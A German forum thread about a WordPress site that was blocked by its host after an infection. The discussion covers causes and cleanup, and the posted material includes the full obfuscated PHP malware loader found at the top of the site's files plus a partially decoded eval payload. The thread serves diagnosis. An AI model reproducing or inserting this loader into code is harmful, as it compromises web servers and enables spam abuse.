{HEX}php.brute.bf1lic.187.UNOFFICIAL FOUND

-=Ryo=-

Commodore
Registriert
März 2005
Beiträge
4.218
Ein Freund hat mich angeschriebe sein Hoster hat seine Seiten gesperrt.

Grund, alle PHP Dateien seien mit {HEX}php.brute.bf1lic.187.UNOFFICIAL FOUND infiziert.

Google brachte dazu irgendwie nicht wirklich was die PHP Dateien sehen eigentlich ok aus.

Habt Ihr da ne Idee?
 
Der Hoster soll euch mal das vollständige Log des Scanners schicken, da dürfte ja zu sehen sein in welchen Dateien genau.

Und wie groß sind eure PHP-Kenntnisse das es ihr einschätzt "sehen ok aus"?
 
Zuletzt bearbeitet:
alle php und html dateien....alle

PHP mäßig, habs mehr mit Hardware ^^
 
Klingt nacht dem Üblichen:
- Mit PHP herum gespielt, 0 auf Sicherheit/Injections geachtet.

Es gibt zig Bots die sowas automatisiert finden und kompromittieren. Kann auch was ganz banales sein, wie z.B. ein Upload Script oder ein einfacher Login. Wenn die DB auch nicht entsprechend abgesichert wird kann man mit Injections sogar ausführbaren Code in die DB drücken ....

Und bevor du bzw. dein Freund uns fragt was ihr jetzt machen könnt - fragt zuerst den Hoster.

mfg,
Max
 
Naja dann würde ich sagen einfach ein Backup aufspielen. Denn wenn ihr nicht wisst wie die PHP-Dateien eigentlich aussehen sollten, dann wird das einfach nix.

Aber ansich geben ich max_1234 recht, auch nach einem Backup wird es am Ende nicht lange dauern bis es wieder genauso aussieht wie jetzt. Ist das was selbst geschriebenes?
 
Da spielt keiner rum...

Die hatten irgendwas umgestellt da ging dann seine Seite gar nicht mehr... umgestellt auf PHP 5.3 dann ging sein Wordpress wieder und paar Tage darauf kam halt das.
Eigentlich müsste WP ja mit 5.5 gehen ... oder gar 5.6. Kann ich derzeit aber eh nicht einstellen weil gesperrter server

Ist halt ne Wordpresseite mit angepasstem Design, Texten und so.


Hab in der Datenbank auch nichts auffälliges gefunden blöderweise. Er hatte ein altes Joomla drauf und Wordpress (aktualisiert sich ja selber).

Das Joomla zeug hab ich raus gehauen und aus der Datenbank auch gelöscht.


Der Hoster sagt nur wir sollen Lokal einen Virenscan durchführen und außerdem die Schadhaften Dateien (also alle) beseitigen.
 
Zuletzt bearbeitet:
-=Ryo=- schrieb:
Da spielt keiner rum...

Die hatten irgendwas umgestellt da ging dann seine Seite gar nicht mehr... umgestellt auf PHP 5.3 dann ging sein Wordpress wieder und paar Tage darauf kam halt das.
Eigentlich müsste WP ja mit 5.5 gehen ... oder gar 5.6. Kann ich derzeit aber eh nicht einstellen weil gesperrter server

Euch ist klar dass mangelndes Wissen um diese Materie nicht nur euch, sondern auch anderen schaden kann?
Wenn das blöd läuft, seid ihr am Ende ein ganzes Stück ärmer.

mfg,
Max
 
Es geht hier doch nicht um rumspielen oder nicht ... eine Sicherheitslücke, wahrscheinlich aus dem alten Joomla, hat euch eure Dateien verseucht. Ihr habt keine Ahnung von der Materie also habt ihr nur die Möglichkeit alles platt zu machen und neu aufzusetzen/ Backup einzuspielen. Der Hinweis ihr sollt es mit einem lokalen Virenscanner checken is auch komplett fürn Arsch. Der Scanner hat auffälliges in den ausgeführten Dateien gefunden, wenn ihr es jetzt lokal scannt sieht eurer Scanner einfach nur hübsche Text-Dateien.

Edit:
Natürlich hat nich die Sicherheitslücke die Dateien verseucht, sondern etwas was diese ausgenutzt hat.
 
Eben.

Joomla hab ich komplett raus gehauen.

Werd schauen ob das WP Backup läuft. kennwörter alle geändert und wenns läuft sollen die serverbetreiber nochmal drüber laufen.

Das es kein virus war ergab auch schon der server eigene virenscanner... ist wohl eher ein exploit und brute klingt nach brute force, also wohl eher das wp login betroffen als dritte.
Ergänzung ()

Hab jetzt doch was gefunden das in den rohdaten nicht ist... ist immer ganz oben in den phps

Code:
if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $nlranbsxff = '5c%x7825)Rd%x5c%x7825)x7825)dfyfR%x5c%x7827tfs%x5c%x78256<*17-SFEBFI,6<*]82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825tpz!>!#]D6M71%x5c%x782f2986+7**^%x5c%x782f%x5c%x7825r%x5c%x7878<~!!%x5c%xx5c%x7825)utjm6<%x5c%x787fw6*CW&)7gj6<]D8]86]y31]278]y3f]51L3]84]y31M6]y3e878{**#k#)tutjyf%x5c%x7860%x5-%x5c%x7824-!%x5c%x7825%x5c%x7824-%x5c%x7824%x782f#%x5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7821%154%x28%151%x6d%160%x6c%157%x64%145%x28%141%x7)sf%x5c%x7878pmpusut)tpqssutRe%x3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x5c%x7825c*W%x5c%x7825eN+x5c%x7825<#g6R85,67R37,18c%x7824<!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]2528256<*Y%x5c%x7825)fnbozcYufhA%x5c%x7fs!|ftmf!~<**9.-j%x5c%x7c%x787f_*#fmjgk4%x5c%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw65-rr.93e:5597f-s.973:8297f:5297e:56-%x5c%x7878r.985:52985-t.98]K4]65]D6#<%x5c%x7825G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]5525r%x5c%x7878B%x5c%x7825h>#]y31]278]y3e]81]K78:56985:6197g:7498>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x78x5c%x7824<%x5c%x7825j,,<&w6<%x5c%x787fw6*CW&)7gj6<*d]y74]256#<!%x5c%x7825ff2!>!bsfA>2b%x5c%x7825!<*qp%x5c%x7825-*.%x5c%x7825)euhA)3of>2bd%x5cj!%x5c%x782f!#0#)idubn%x5c%x7860hfsq)!s156%x75%156%x61"]=1; function fjfgg($nR#>q%x5c%x7825V<*#fopoV;hojepdoF.ug}k~~9{d%x5c%x7825:osvufs:~928>>}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%x7827{**u%x55c%x7825hW~%x5c%x7825fdy)##-!#~<%x5c%x7825h00#*<%x5c%x7825nf3]68]y34]68]y33]65]y31]53]y6d]281]y43]78]y33]65]y31]55]y85]82%156%x61"])))) { $GLOBALS["%x61%#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%x57825!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvt)utjm!|!*5!%x5c%x7827825=*h%x5c%x7825)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%x5825w:!>!%x5c%x78246767~6<Cw6<pd%x527K6<%x5c%x787fw6*3q5c%x787fw6<*K)ftpmdXA6|7**197-2qj%x5c%x78257-K)udfoopdXA%x824%x5c%x782f%x5c%x7825kj:-!OVMM*<(<%x5c%x78e%x5c%x78b%x5c%x7825ggg!tutjyf%x5c%x78604%x5c%x782d)##Qtpz)#]341]88M4P8]37]278]2>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]256#<!%x5c%x7825ggg)(x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5c%x7822)gj!|!*%x7824-%x5c%x7824-tusqpt)%x5c%x7825z-#:#*%x5c%x7824-%xc%x7822)!gj}1~!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%7y]672]48y]#>s%x5c%x%x5c%x7860GB)fubfsdXA%x5c%x78svufs!~<3,j%x5c%x7825>j%x5c%fepdof%x5c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x7827k:!ftmf!}Z;^nbsbq%^%x5c%x7824-%x5c%x7824tvctus]y83]273]y72]282#<!%x5c%x7825tjw!>!#]y84]275]y83]248]y83]256]y85c%x787f%x5c%x787f%x5c%x787f%x5c%x787f<u%x5c%x***f%x5c%x7827,*e%x5c%x7827,*d%x5c%x7827,*cx7824]26%x5c%x7824-%5c%x7860%x5c%x7825}Xx782fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-#+5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%265]y72]254]y76]61]y3>!%x5c%x7825yy)#}#-#%x5cs%x5c%x7860un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!***b%x57825<#462]47y]252]18y]#>q%x5c%x7825<#762]67y]562]38y]572]48y]#c%x7825tdz>#L4]275L3]248L3P6L1M5]D2P4x5c%x785c2b%x5c%x7825!>!2p%x5c%#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7oj%x5c%x78257-C)fepmqnjA%x5c%x7827&6<.fmj824y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x55c%x7860QUUI&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI&c_UOFc%x7824<%x5c%x78e%x5c%x78*2bd%x5c%x7825-#1GO%x5c%x7822#)fepmqy%x78256<pd%x5c%x7825%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!sboepn)%x5c%x787!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x782Rb%x5c%x7825))!gj!<*#cd2bge56+99386c6f+~<#%x5c%x782f%x5c%x7825%x5c%x7824-%x5c%x7824!>!fyqmpef)#%x5c%x7c%x7860439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{825-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!o%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5c%x782f*d%x5c%x78256<C%x5c%x782j%x5c%x7825)7gj6<**2qj%x5c%x7825)hopm3qjA)qj3hopmA%x5c%x78273qj%x5c%x7gA%x5c%x7827doj%x5c%x78256<%x5c%x787fw6*%x5HB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323zbek!~!<b%xfw6*%x5c%x787f_*#fubfsdXk5%x5c%x7860{66~6257**^#zsfvr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj6K;%x5c%x7860ufldpt}X;%x5c%x7860msvd}R;*msv%x5c%x7825)}.;%x5c%x78if((function_exists("%x6f%142%x5f%163%x74%141%x72%164") && (!isset60UQPMSVD!-id%x5c%x7825)uqpuft%x5c%x7860msvd},;uqpuft%x5c5j:>1<%x5c%x7825j:=tj{fpg)%x5c%x7825I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x]82#-#!#-%x5c%x7825tmw)%x5c%x7825tww**WYsboepn)%x5c%x7825bss-%x5c%x78j%x5c%x78257>%x5c%x782272q*!|%x5c%x7824-%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7~!%x5c%x7825t2w)##Qtjw)#c%x7825)sf%x5c%x7878pmpus25)3of:opjudovg<~%x5c%x7824<!%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mnui}&;zepc}A;~!}%x5c%x787f;!|!#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!<*::::::-111112)eoby7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x782400~:<h%x5c%x7825_t%x5c%x7825udovg!|!**#j{hnpd#)tutjyf%x5c%x7860opjudovg%x564]6]234]342]58]24]31#-%x5c%x7825tdz*Wsfuvso!%x5127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x5c%x7825be!-#jt0*?]+^?]_%x5c%x785ccq%x5c%x78257%x5c%x782f7#@#7%x5c%x7ofuopD#)sfebfI{*w%x5c%x7825)kV%x5c%x7%x7824y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%<^#Y#%x5c%x785cq%x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftc%x7825-#jt0}Z;0]=]0#)2qs:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825%x5c%x7827!hmg%x5c%x7825)!gjnbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x7825!-uyfu%x5c%x7825)3of)#*<%x5c%x7825bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdy<Cb*[%x5c%x($GLOBALS["%x61%156%x75*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j25]241]334]368]322]3]364]6]283]427]36]373P6]36]73]83]238M7]38vg}{;#)tutjyf%x5c%x7860opjudovg)!gj!|!*msv%7825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftmfV%x5c%x787f<*XAZASV<*w%} @error_reporting(0); preg_replace("%x2f25epnbss-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5c%x7825z5-qp%x5c%x7825)54l}%x5c%x78c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7825hOh%x5c%x782f#00#W[!%x5c%x7825rN}#QwTW%x5c%x7825hIr%x5c%x785%x7825ww2!>#p#%x5c%x782f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%1]211M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284]3%50%x2e%52%x29%57%x65","%x65%166%x6]y78]248]y83]256]y81]%x5c%x7825)!>>%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%x7860cpV%xsbqA7>q%x5c%x78256<%x5c%x78777]y72]265]y39]271]y83]256f%163%x70%154%x69%164%50%x22%134%x78%62%x3:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5c%x782fh%x5c%x7825:<**#57w6Z6<.3%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x782c%x7878%x5c%x7822l:!}V;3q%x5c1]265]y72]254]y76#<%x5c%x7825tmw!>!#]y84]275]y83]273]y76]277#<%x5c5c%x7824!>!tus%x5c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5cx7827id%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#ujojRk3sfwjidsb%x5c%x7860bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnb%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!%x5c%x7825tzw%x5c%x85c%x5c%x7825j:^<!%x5c%x7825w%x5c%x7860){return chr(ord($n)-1);%x5c%x7827,*b%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c782f%x5c%x7824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-5)!gj!<**2-4-bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x5-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*9!~!%x5c%x7825z!>2<!gps)%x5c%x7825j>1<%x5c%x7825j=6[%x5c27;%x5c%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x5c%x787f;!opjudov)%x5c%x7825%x5c%x7824-%x5c%x7824b!5c%x7822)7gj6<*QDU%x5c%x7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7827&6<%x5c%x787fw82f7^#iubq#%x5c%x785cq%x5c%x7825%x5c%x7825)ppde>u%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x787f!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!opjudo5w6Z6<.2%x5c%x7860hA%x5c%x7827pb:>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x23}!+!<+{e%x5c%x7825+*!*+fepdfe{h+%x5c%x7825%x5c%x7878:!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825cIjQeTQcOc%x5cB%x5c%x7825z>!tussfw)%x5c%x7825zW%x*CWtfs%x5c%x7825)7gj6<*id%x5c%x7825)ftpmdR6<*id%x5c%]y76]62]y3:]84#-!OVMM*<%x22%51%x29%51%x29%73", NULL); }7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%x7825bT-%x8257;utpI#7>%x5c%x782f7rfs%x5c%x78256<#op!*#ojneb#-*f%x5c%x7825x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}!%x5c%x7825ww2)%x5c%x7825w%x5c%x7860TW~%x5sbz)%x5c%x7824]25%x5c%x7824;!sp!*#opo#>>}R;msv}.;%x5c]1%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x5%165%x3a%146%x21%76%x21%50%x5c%x785c^>Ew:Qb:Qc:W%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.4%x5c%x7860hA%x5c%x7827pd%x5cc%x7824gps)%x5c%x7825j>1<%x5c%x7825j=tj{fpg)%x#npd%x5c%x782f#)rrd%x5c%x782f#00;quui#>.%x5c%x7825!<c%x7825bss%x5c%x785csboe))1%x5c%x782f35.)1%x5c%x782f14+9**-)6*%x5c%x787f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd%x5c%x7825%x5c%x785cSFWSFT%x!~<ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x7825!<**3-j%x5c%x7825-bubE{h%7825s:N}#-%x5c%x7825o:W%x5c%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x782)!gj!|!*bubE{h%x5c%x7825)j{hnpd!opj5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*7pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%x7827*&7-n%{d%x5c%x7825)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%x7825>U<#16,47R57,27R66,#%x5c%x782fq%x5c%x7825>2q%2%162%x61%171%x5f%155%x61%160%x28%42%x66%152%x66%147%5c%x7825j:.2^,%x5c%x7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c%x7x5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%x78%x7825o:!>!%x5c%x78242178}527}88:}334}472%x52#%x5c%x782f#%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)323zy72]265]y39]274]y85]273]y6g]273]y76]271]y7d]252]y74]256]y39]252s%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x7h1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)0)%x5c%x782f+*0f(-!#]y76]2]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6%x5c%x7825l}S;2-u%x5c%x7825!-#%x7825t2w>#]y74]273]y76]252]y85]256]y6g]257]y86]267]y74]275]x67%42%x2c%163%x74%162%x55c%x7825%x5c%x7824-%x5c%x7824*<!~!dsfbuf%x5c%x7860gvodujpo)##-!##Qi%x5c%x785c1^W%x5c%x7825c!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x78e%x5c%x78b%x5c%x7x7827u%x5c%x7825)7fmji%x5c%x78786<C%x5c%x7827&6<*rfx5c%x7825)}k~~~<ftmbg!osvuE{h%x5c%x7825)tpqsut>j%x5}X%x5c%x7824<!%x5c%x7825tzw>!#]y76]277]]81#%x5c%x782f#7e:55946-tr.984:75983:48984:71]K9]77]D4x7825z>>2*!%x5c%x7825z>3<!fmtf!%x5c%x7825z>2<x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<8272qj%x5c%x78256<^#zsfvr#%x5c%x785ut!-#j0#!%x5c%x782f!**#sfmcnbs+yfeobz+y3d]51]y35]274]y4:]82]y3:]62]y4c#<!%x5c%x7825t::!>!%x5c%x7824Ypp824*<!%x5c%x7825kj:!>!#]y3d]51]y35]256]y76]72]c%x7825!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x782c%x7825w6Z6<.5%x5c%x7860hA%x5cx7825!*3!%x5c%x7827!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bub9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x%x7860msvd}+;!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825}]38y]47]67y]37]88y]27]28y]#%x5c%%x5c%x7822:ftmbg39*56A:>:8:|:7#6#)tutjyf%x5c%x7825:<#64y]552]e7y]#>n%x5c%x7825<#372]58y]472]3*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&6|7**111127-K)ebfsX%x5c%/(.*)/epreg_replacepzbrwigtet'; $pndhfgigbw = explode(chr((260-216)),'3786,66,5065,23,1422,32,1134,38,6329,24,5304,41,5637,35,374,48,8441,53,9029,25,5807,42,7681,27,7142,23,9147,53,1645,34,9714,30,7730,67,3076,20,5917,54,7029,31,3430,23,8260,69,181,38,10043,63,9200,51,8768,45,7413,40,7615,66,1699,58,6758,59,2154,29,1679,20,4066,26,3453,70,607,36,9476,35,4649,35,6887,33,8554,53,3668,54,4769,65,5753,28,3627,41,977,29,2865,41,3523,43,667,59,7255,52,22,50,4511,69,6123,52,6817,70,7955,67,7476,44,3722,64,3852,57,9868,50,6404,34,6982,47,5195,43,9251,26,643,24,3346,40,2183,28,9744,64,9277,25,9659,55,6563,46,4908,28,8049,68,4580,43,1569,20,3158,37,6497,66,1517,52,8184,35,4417,46,2070,64,2799,31,9440,36,3039,37,1035,60,3386,44,7843,52,2416,43,6353,51,4293,56,2639,61,4167,25,9511,38,6175,59,1095,39,7453,23,422,32,0,22,3195,39,9808,60,2949,65,3566,61,2551,43,1950,66,4936,64,2211,68,8022,27,2479,20,7589,26,328,46,5394,27,6663,61,1206,32,9950,43,3297,49,8813,50,1825,26,7108,34,8329,57,5693,60,2370,46,5238,66,6920,62,8386,55,517,25,1172,34,4684,37,255,29,5971,29,4225,68,1238,63,4834,24,8939,30,8651,54,4623,26,9302,39,8705,63,2307,63,6000,66,8969,60,4349,68,5849,68,9918,32,2499,52,3945,52,1589,56,9993,50,2134,20,2700,62,916,38,4192,33,8607,44,542,65,1006,29,7562,27,284,44,5088,46,2279,28,6724,34,2615,24,2016,54,6066,57,4721,48,2459,20,954,23,4092,51,2906,43,7797,46,9054,64,3234,63,9613,46,9549,64,454,63,9118,29,7165,55,3096,62,5345,49,7220,35,8219,41,5477,42,5421,56,4143,24,3997,69,853,63,726,68,219,36,9341,54,72,48,8889,50,1454,63,2762,37,794,59,5000,65,7362,51,1301,60,1851,30,5134,61,5577,60,4463,48,7895,60,120,61,8117,67,3909,36,4858,50,7060,48,8494,60,6290,39,7708,22,6609,54,5519,58,9395,45,7520,42,3014,25,6234,56,6438,59,2830,35,1757,68,1881,69,8863,26,5781,26,5672,21,2594,21,1361,61,7307,55'); $brkkzcteyu=substr($nlranbsxff,(68721-58615),(25-18)); if (!function_exists('knootpzkxw')) { function knootpzkxw($euxumjdpiy, $badtlmtqnn) { $vidhgysvwu = NULL; for($wicvnzzizl=0;$wicvnzzizl<(sizeof($euxumjdpiy)/2);$wicvnzzizl++) { $vidhgysvwu .= substr($badtlmtqnn, $euxumjdpiy[($wicvnzzizl*2)],$euxumjdpiy[($wicvnzzizl*2)+1]); } return $vidhgysvwu; };} $lejeuyqwuh="\x20\57\x2a\40\x76\164\x6d\163\x64\151\x74\155\x78\170\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\66\x34\55\x31\62\x37\51\x29\54\x20\143\x68\162\x28\50\x36\62\x30\55\x35\62\x38\51\x29\54\x20\153\x6e\157\x6f\164\x70\172\x6b\170\x77\50\x24\160\x6e\144\x68\146\x67\151\x67\142\x77\54\x24\156\x6c\162\x61\156\x62\163\x78\146\x66\51\x29\51\x3b\40\x2f\52\x20\164\x61\166\x77\143\x7a\157\x63\144\x6e\40\x2a\57\x20"; $mltxdaeflc=substr($nlranbsxff,(67544-57431),(38-26)); $mltxdaeflc($brkkzcteyu, $lejeuyqwuh, NULL); $mltxdaeflc=$lejeuyqwuh; $mltxdaeflc=(695-574); $nlranbsxff=$mltxdaeflc-1; ?><?php
 
Zuletzt bearbeitet:
Ja genau das was du da gefunden hast ist dein "Virus" ... der Server interpretiert das zur Laufzeit und sendet es dann an die Clients raus und da passiert was weiß ich was
 
Zuletzt bearbeitet:
Und wenn euch jemand anzeigt, könnt ihr die nächsten 20 Jahre für eingegangene Schadensersatzforderungen arbeiten gehen. Lasst bitte einfach die Finger von sowas bzw. holt euch irgendwo ein fertig eingerichtetes Package ohne direkten Zugriff.

mfg,
Max
 
max: Ein was? Ein Paket ohne Zugriff ? Also jeder normale Hosting-Anbieter bietet seinen Kunden Zugriff auf ihre Daten sorry.

Umbel schrieb:
Ja genau das was du da gefunden hast ist dein "Virus" ... der Server interpretiert das zur Laufzeit und sendet es dann an die Clients raus und da passiert was weiß ich was

Ja was das hätte mich auch mal interessiert...

Der Hoster meinte das Spam versendet wurde. Also vielleicht irgendwie als Knotenpunkt für Spammails missbraucht. Hab von dem selber auch Spammails mit seinem Namen erhalten. Allerdings zeigten die Header immer andere Server und eMail Adressen an nicht seine. Aber seinen Namen. Alle Kennwörter nun geändert und sicherer gemacht... was manche Leute sich so denken...

Hab WP Neu aufgesetzt und Die Beiträge als Backup rein gepackt. Ist jetzt wieder im sauberem Zustand.
Hoffe mal das bleibt jetzt so. Den alten Dreck hab ich raus geworfen....wenn Leute ihren Webspace nicht Pflegen...
 
Zuletzt bearbeitet:
PHP:
string(6787) "eval(implode(array_map("fjfgg",str_split("\x25u:f!>!(\x25\x78:!>#]y3g]61]y3f]63]y3:]68]y76#<\xe\xb\x25w:!>!\x246767~6<Cw6<pd\x25w6Z6<.5\x60hA\x27pd\x256<pd\x25w6Z6<.4\x60hA\x27pd\x256<pd\x25w6Z6<.3\x60hA\x27pd\x256<pd\x25w6Z6<.2\x60hA\x27pd\x256<C\x27pd\x256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf\x27*&7-n\x25)utjm6<\x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u\x257>\x2f7&6|7**111127-K)ebfsX\x27u\x25)7fmji\x786<C\x27&6<*rfs\x257-K)fujs\x78X6<#o]o]Y\x257;utpI#7>\x2f7rfs\x256<#o]1\x2f20QUUI7jsv\x257UFH#\x27rfs\x256~6<\x7fw6<*K)ftpmdXA6|7**197-2qj\x257-K)udfoopdXA\x22)7gj6<*QDU\x60MPT7-NBFSUT\x60LDPT7-UFOJ\x60GB)fubfsdXA\x27K6<\x7fw6*3qj\x257>\x2272qj\x25)7gj6<**2qj\x25)hopm3qjA)qj3hopmA\x273qj\x256<*Y\x25)fnbozcYufhA\x272qj\x256<^#zsfvr#\x5cq\x257\x2f7#@#7\x2f7^#iubq#\x5cq\x25\x27jsv\x256<C>^#zsfvr#\x5cq\x257**^#zsfvr#\x5cq\x25)ufttj\x22)gj6<^#Y#\x5cq\x25\x27Y\x256<.msv\x60ftsbqA7>q\x256<\x7fw6*\x7f_*#fubfsdXk5\x60{66~6<&w6<\x7fw6*CW&)7gj6<*doj\x257-C)fepmqnjA\x27&6<.fmjgA\x27doj\x256<\x7fw6*\x7f_*#fmjgk4\x60{6~6<tfs\x25w6<\x7fw6*CWtfs\x25)7gj6<*id\x25)ftpmdR6<*id\x25)dfyfR\x27tfs\x256<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv\x257-MSV,6<*)ujojR\x27id\x256<\x7fw6*\x7f_*#ujojRk3\x60{666~6<&w6<\x7fw6*CW&)7gj6<.[A\x27&6<\x7fw6*\x7f_*#[k2\x60{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd\x60ufh\x60fmjg}[;ldpt\x25}K;\x60ufldpt}X;\x60msvd}R;*msv\x25)}.;\x60UQPMSVD!-id\x25)uqpuft\x60msvd},;uqpuft\x60msvd}+;!>!}\x27;!>>>!}_;gvc\x25}&;ftmbg}\x7f;!osvufs}w;*\x7f!>>\x22!pd\x25)!gj}Z;h!opjudovg}{;#)tutjyf\x60opjudovg)!gj!|!*msv\x25)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j\x25-bubE{h\x25)sutcvt)fubmgoj{hA!osvufs!~<3,j\x25>j\x25!*3!\x27!hmg\x25!)!gj!<2,*j\x25!-#1]#-bubE{h\x25)tpqsut>j\x25!*72!\x27!hmg\x25)!gj!<2,*j\x25-#1]#-bubE{h\x25)tpqsut>j\x25!*9!\x27!hmg\x25)!gj!~<ofmy\x25,3,j\x25>j\x25!<**3-j\x25-bubE{h\x25)sutcvt-#w#)ldbqov>*ofmy\x25)utjm!|!*5!\x27!hmg\x25)!gj!|!*1?hmg\x25)!gj!<**2-4-bubE{h\x25)sutcvt)esp>hmg\x25!<12>j\x25!|!*#91y]c9y]g2y]#>>*4-1-bubE{h\x25)sutcvt)!gj!|!*bubE{h\x25)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf\x60opjudovg\x22)!gj}1~!<2p\x25\x7f!~!<##!>!2p\x25Z<^2\x5c2b\x25!>!2p\x25!*3>?*2b\x25)gpf{jt)!gj!<*2bd\x25-#1GO\x22#)fepmqyfA>2b\x25!<*qp\x25-*.\x25)euhA)3of>2bd\x25!<5h\x25\x2f#0#\x2f*#npd\x2f#)rrd\x2f#00;quui#>.\x25!<***f\x27,*e\x27,*d\x27,*c\x27,*b\x27)fepdof.)fepdof.\x2f#@#\x2fqp\x25>5h\x25!<*::::::-111112)eobs\x60un>qp\x25!|Z~!<##!>!2p\x25!|!*!***b\x25)sf\x78pmpusut!-#j0#!\x2f!**#sfmcnb